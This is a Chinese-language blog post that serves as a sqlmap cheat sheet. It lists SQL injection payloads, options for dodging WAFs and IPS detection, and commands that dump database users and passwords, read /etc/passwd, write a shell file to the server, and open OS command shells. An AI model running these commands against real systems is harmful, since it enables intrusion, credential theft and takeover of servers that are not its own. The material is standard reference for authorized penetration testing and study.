sqlmap使用

五种漏洞检测方式

  1. 基于布尔 and 1=1 -- 和 and 1=2 --
  2. 基于时间 ' and (select * from (select(sleep(20)))a) # 测试20与0之间是否有较大的时间差
  3. 基于错误 一个 ' 造成语法错误,对盲注无效
  4. 基于 union 的联合查询,适用于通过 for 输出结果,否则只有第一个结果
  5. 基于堆叠的查询 ; 连接不同语句,可以用于增删改

Target

get方法直接用 -u 加url
post需要用文件

使用 http 请求文件,sqlmap -r request.txt 。 用 burp 代理请求,复制请求的 Proxy.Intercept.Raw到文件
使用burp日志文件 sqlmap -l log.txt。

--force-ssl 指定使用 https 连接
-g "inurl:".php?id=1"" 利用google搜索结果

--scope 过滤日志文件,通过正则筛选目标

sqlmap -l log.log --scape "(www)?.target.(net|com|org)"
sqlmap -l 2.log --scope "(19)?.168.20.(1|10|100)" --level 3 --dbs

参数

-p 指定测试的参数
--skip==SKIP 跳过参数
--data 指定提交的参数,支持get与post。post居多 sqlmap -u "url" --data="name=admin&password=1234"
--param-del 指定参数分隔符,默认&。 --data="name=root;pwd=pwd" --param-del=";" // 用 ; 分割
--cookie="par1=val1;par2=val2" level大于等于2时,sqlmap 自动检测cookie注入点
--drop-set-cookie 通常通过set-cookie自动设置cookie,此参数强制不改变cookie
--user-agent 默认为 sqlmap/....
--random-agent 随机 agent /usr/share/sqlmap/txt/user-agents.txt
level 大于等于3,检测user-agent注入点
--host="... " level 大于等于5
--referrer="..." level 大于等一3
--headers="host:www.a.com\nUser-Agent:abc" 自定义头
--method=GET/POST
--skip-urlencode 关闭http请求中对url的编码,有些不合规的网站需要直接提交原始数据,不进行url编码
--eval 执行python代码,用于每次请求更改参数值及其 时间依赖 其他参数以来 等。
sqlmap -u "www.a.com/path/info?id=1&hash=asd899f8dv76898s8duf" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()" // 计算每次请求id对应hash

-a 查询全部信息
--banner --users --password --schema --dbs 。。。 穷举数据库的用户,密码,元数据等
-f fingerprint 检测指纹

基于 http 的身份认证

sqlmap -u "www.a.com" --auth-type Basic/Digest/NTLM --auth-cred "user:pass"

代理

--proxy="http://1.1.1.1:8080"
--proxy-cred="user:pass"
--ignore-proxy 忽略操作系统级别的代理

请求控制,以防发现

--dely 每次请求之间的延迟,默认0,可为小数
--timeout 浮点数,默认30秒
--retries http 连接超时重试次数
--safe-url / --safe-freq 大量失败请求时服务器会销毁 session,发送safe-freq次注入请求后发送一次正常不含注入请求

--randomize 长度,类型,原始值保持一致的前提下,指定每次请求参数值的参数名


优化

-o 开启前三个
--predict-out 根据检测方法,对比返回值和统计表内容,不断缩小检测范围,提高检测效率

版本名 用户名 密码 Privileges role 数据库名称 表名 列名 与 --threads不兼容 /usr/share/sqlmap/data/txt/common-outputs.txt

--keep-alive 长连接,避免反复连接占用资源。会占用大量服务器资源。与--proxy不兼容
--null-connection 只获取页面大小值,不获得整个页面内容。通常用于盲注判断真假。降低网络带宽资源消耗。与--text-only不兼容
--threads 最大线程数,默认 1,不要超过 10

注入类

-p 指定类型,其他的忽略,--level失效
指定uri路径变量 sqlmap -u "www.url.com/par*/val" 在路径变量后加个 * ,指定路径变量。
通常,sqlmap使某个参数变为负值而使其失效。 id=16 =》id=-16
--invalid-bignum 使参数变为一个巨大的数 id=9999999
--invalid-logical 使参数逻辑上为否,使得失效 id=16 and 16=17
--no-cast 榨取数据时,sqlmap将数据转为字符串,并用空格代替NULL。老版本mysql需要开启此开关,关闭此功能
--no-escape 默认使用char()转义 ' ,这个参数关闭
--prefix / --suffix

sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id  --suffix "’)" --prefix "AND ('abc'='abc"
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND  (’abc’=’abc’) LIMIT 0, 1";
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";  // 查询语句

--tamper base64等功能,混淆脚本,用于突破 ips waf --tamper="xxx.py,xxx.py" /usr/share/sqlmap/tamper/xxx.py

检测

--time-sec 基于时间时,相应延迟时间,默认5秒
--union-cols 联合查询列数,默认1-10,level5最多50
--union-char 联合查询默认NULL,极端情况下失败。可手动指定数值,char(123)
--dns-domain 控制某dns服务器后,用此来加速。--dns-domain someone.com
--second-order 一个页面注入,另一个页面输出结果。--second-order http://value.com/second.php

-f --finger-print 指纹信息
-b --banner banner信息

枚举

--users --dbs 枚举用户 数据库 等
--count 指定的列有几条记录
--execlude-sysdbs 不枚举应用系统的库,如mysql,information_schema等
--schema 元数据
--batch 批处理,一切需要选的步骤全用默认选项

--dump/--dump-all 获得数据
--start / --stop 开始结束的行数
--sql-query="select * from users" 要执行的sql语句

-D DB 针对某个库进行爆破
-T TBL 针对某个表
-C COL 某列
-X EXCLUDE
-U USER 针对某个用户 // --privileges -U root 查询当前用户权限

sqlmap -u="url" -D dvwa -T users --columns -C user // 查询dvwa库下users表所有列 与 user列信息

暴力破解

mysql < 5.0时无information_schema。及大于5.0却无权限时,可用暴力破解猜库 表 列。
access默认无权限读MSysObjects库
使用/usr/share/sqlmap/data/txt/*下文件破解列名库名等

--common-columns Access无列信息
--common-tables

文件系统访问

--file-read="/etc/passwd"
--file-write="local_file_in_cur_dir.php" --file-dest="/tmp/shell.php" 将当前目录下文件写道/tmp/shell.php

操作系统层面命令

mysql postgresql 在linux下上传共享库 生成sys_exec() sys_eval() 两个 udf
mssql xp_cmdshell 存储过程,有则用,禁则启,无则创

--os-cmd="ls -al"
--os-shell 交互式shell
--sql-shell

windows 注册表

sqlmap –u="http://1.1.1.1/a.aspx?id=1"
--reg-add
--reg key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap"
--reg-value=Test
--reg-type=REG_SZ
--reg-data=1
增加key为**值为Test类型为REG_SZ,键值类型为1的数据表项

通用

--cleanup **清除sqlmap创建的函数,表
--dbms-cret 指定数据库账号
--flush-session 清除session
--fresh-queries 忽略session
--hex dump 时 非 ascII字符编码为16位数字,收到后解码还原
--output-dir="/tmp/sql"
--parse-errors 分析数据库内建报错信息

其他

--check-waf
--hpp http parameter pollution ,绕过 waf ips ids
--identity-waf 彻底检测waf

--mobile 模仿手机
--wizard 向导

参考文章

posted @ 2020-12-11 16:21  某某人8265  阅读(422)  评论(0编辑  收藏  举报